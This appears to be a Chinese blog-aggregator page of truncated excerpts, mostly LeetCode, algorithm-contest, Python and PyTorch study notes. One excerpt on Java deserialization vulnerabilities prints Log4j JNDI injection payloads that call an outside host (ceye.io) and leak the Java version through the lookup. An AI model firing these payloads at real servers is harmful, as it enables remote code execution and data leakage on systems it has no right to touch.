随想录 训练营 序列 随想

代码随想录算法训练营第四天 | LeetCode 24(两两交换链表中的节点) LeetCode 19(删除链表的倒数第N个节点) LeetCode 160(链表相交) LeetCode 142(环形链表II) 24：两两交换链表中的节点 LeetCode 24(两两交换链表中的节点) 思路： 这道 ......

题目链接： 剑指 Offer 57 - II. 和为s的连续正数序列 题目描述： 输入一个正整数 target ，输出所有和为 target 的连续正整数序列（至少含有两个数）。 序列内的数字由小到大排列，不同序列按照首个数字从小到大排列。 解法思路： 双指针： 当总和小于 target 时，j 指 ......

题目链接 description 给定一个质数 \(m\)，以及 \(n,x\) 和集合 \(S\)。从集合 \(S\) 中任意选数构成长度为 \(n\) 的数列（一个数可以选多次），求数列元素乘积模 \(m\) 等于 \(x\) 的数列的数量。模 \(1004535809\)。 \(3\leq m ......

大规模分布式训练并行模式 数据并行 Data Parallelism 模型在不同GPU上具有完全一致的副本，包括模型参数、模型梯度、模型优化器状态，这些都是完全相同的。唯一不同的是不同GPU上处理的数据是不同的，在每次梯度更新时，对所有数据产生梯度之和求平均，然后更新。 管道并行 Pipeline ......

【PyTorch踩坑】一个排查了一下午的坑 - 知乎 (zhihu.com) ......

[HNOI2016] 序列 题解：\(ST\)表 + 莫队 设莫队维护区间\([l,r]\)的答案\(ans\)，我们考虑右端点\(r\)向右扩张时\(r:=r+1\)对\(ans\)的影响，设\(min[l,r]\)代表区间\([l,r]\)中的最小值 \(ans :=ans+min[r,r]+m ......

491. 递增子序列 ......

24. 两两交换链表中的节点 mydemo（超时） /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullpt ......

算法训练day4： LeetCode 24.19.142.面试题07.02 24.两两交换链表中的结点 题目 题目24. 两两交换链表中的节点 - 力扣（LeetCode） 题解 讲解代码随想录 (programmercarl.com) 第一想法：模拟的方法，使用三个指针，将结点两两交换。 clas ......

代码随想录算法训练营第三天 | LeetCode 203(移除链表元素) LeetCode 707(设计链表) LeetCode 206(反转链表) 203：移除链表元素 LeetCode 203(移除链表元素) 思路 遍历链表 等值删除 双指针 方法一：虚拟头节点 方法二：直接在原链表删除 方法一 ......

1.创建元组： a=('a',2009) //与列表不同，用圆括号 a=() a=(20,) //当元组中只包含一个元素的时候，需要在元素后加逗号，不然括号会被当成运算符 2.元组访问： a[1] a[2:5] //也可以用切片 也可以用for的遍历。 3.修改元组： 元组不允许修改。修改要通过对元 ......

1.列表的创建： a=['hallo','guten',[2002,2223]] empty_list=[] 2.获得列表长度： len(a) 3.创建数值列表: a=list(range (1,6)) //1到6的列表 b=list(range(1,11,2)) //1到10的奇数列表 c=lis ......

我TM但凡有点水平也不至于一点水平没有吧。——每日感想 T1 距离/P4162 [SCOI2009] 最长距离 这道题本质上是一道十分弱智的搜索题，无论是开DFS还是开BFS还是开BDFS都能做。本人在这里不建议使用使用deque进行BFS，理由是运行速度比较慢，稍有不慎就见祖宗了。 我在这里使用D ......

自监督预训练需要大规模数据集吗?这是2021年发布的一篇论文，它在自监督预训练场景中使用小数据集，如Stanford Cars, Sketch或COCO，它们比ImageNet小几个数量级。并提出了一种类似于BEiT的去噪自编码器的变体SplitMask，它对预训练数据的类型和大小具有更强的鲁棒性。 ......

203.移除链表元素 链表定义 struct ListNode { int val; ListNode* next; ListNode(): val(0), next(NULL) {}; ListNode(int x): val(x), next(NULL) {}; ListNode(int x, ......

http://www.taodudu.cc/news/show-3980798.html?action=onClick 通过环境变量控制 屏蔽GPU export CUDA_VISIBLE_DEVICES="" 通过训练代码控制 https://blog.csdn.net/dream_to_drea ......

题目：139. 单词拆分 思路： 单词就是物品，字符串s就是背包，单词能否组成字符串s，就是问物品能不能把背包装满。 拆分时可以重复使用字典中的单词，说明就是一个完全背包！ 动规五部曲分析如下： 确定dp数组以及下标的含义：dp[i] : 字符串长度为i的话，dp[i]为true，表示可以拆分为一个 ......

# 算法训练 Leetcode 203、206、707 ## 203.移除链表元素 以为头结点是空的，里面只存着下一个结点的地址。 注意空指针检查：p!=NULL; ~~~c++ class Solution { public: ListNode *removeElements(ListNode * ......

for inputs, labels in train_loader: # 使用numpy的transpose函数调整维度顺序 inputs = np.transpose(inputs, (0, 3, 1, 2)) #将原输入数据最后一个维度换到第二个维度 inputs = inputs.to(de ......

报错如下： RuntimeError: "nll_loss_forward_reduce_cuda_kernel_2d_index" not implemented for 'Float' 一般来说这个问题是计算Loss时的报错。 解决方法： 将如下代码 loss_func(torch.squeez ......

全文链接：http://tecdat.cn/?p=32496 原文出处：拓端数据部落公众号 人口流动与迁移，作为人类产生以来就存在的一种社会现象，伴随着人类文明的不断进步从未间断。 人力资源是社会文明进步、人民富裕幸福、国家繁荣昌盛的核心推动力量。当前，我国经济正处于从以政府主导的投资驱动型的经济“ ......

更新一下笔记中JAVA的几个知名的反序列化漏洞，仅漏洞poc和原理，无分析过程。 # Log4j 条件：出网（因为需要请求jndi服务器） ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......

栈与队列理论基础 栈stack：先进后厨 队列queue：先进先出 STL（C++标准库） STL 栈和队列属于容器适配器（container adapter） 优先队列priority_queue： 默认大根堆，如果是pair<a,b>，默认比较a大小 如果需要比较b大小，且小根堆，可以如下实现 ......

# A.Bobo String Construction ### 题意: 给定一个01串t，构造一个长度为n的01串s，时的t + s + t中t只在首和尾出现。 ### 分析： 结论，s取全0或者全1。 ①假设t全0或者全1，那我s和t取相反的即可。 ②假设t既包含0又包含1，首先t不可能是s的子 ......

Luogu1452 旋转卡壳，注意判一下平行的情况，另外有个比较简介的求凸包方法，就不用分别求上凸壳和下凸壳再合起来了： ```cpp int is(point a,point b){return a.x==b.x?a.y0||(cross((C-B),(B-A))==0&&is(A,B)==is( ......

## 977.有序数组的平方 双指针法 因为负数平方后也会变大，所以较大的平方值只可能在靠近两端的位置，越往中间走平方值必定越小。 > 所以，在原数组两端各定义一个指针，慢慢往中间走，然后把平方值按顺序放到新数组里即可。 ```c++ class Solution { public: vector ......

`2023-07-19 20:07:13` (双倍经验:CF452F Permutation) ## 前言 这篇题解的代码与大部分代码用的正反做哈希不太一样，是倒数组做哈希的，希望可以给跟我方法相似但是代码挂了的同学一点启发。 ## 自己的想法 由等差数列基本性质，我们只要找到任意三个数满足 $a[ ......

## 题目：[70. 爬楼梯](https://leetcode.cn/problems/climbing-stairs/description/) ### 思路： 除了`dp[i] = dp[i-1] + dp[i-2]`还可以用完全背包的方法，可以放无数个1或者2，看有多少种排列(先背包后物品) ......

import tensorflow as tf mnist = tf.keras.datasets.mnist (x_train, y_train),(x_test, y_test) = mnist.load_data() x_train, x_test = x_train / 255.0, x_t ......

### P - windy 数 首先考虑把 $[a,b]$ 的答案转化为 $[1,b]$ 的答案减去 $[1,a-1]$ 的答案。 然后就可以数位 $dp$，设 $dp_{i,j,k}$ 表示当前 $dp$ 到第 $i$ 位，上一个是 $j$，目前是否已经小于目标的方案数。 这个题有一个不同之处是前 ......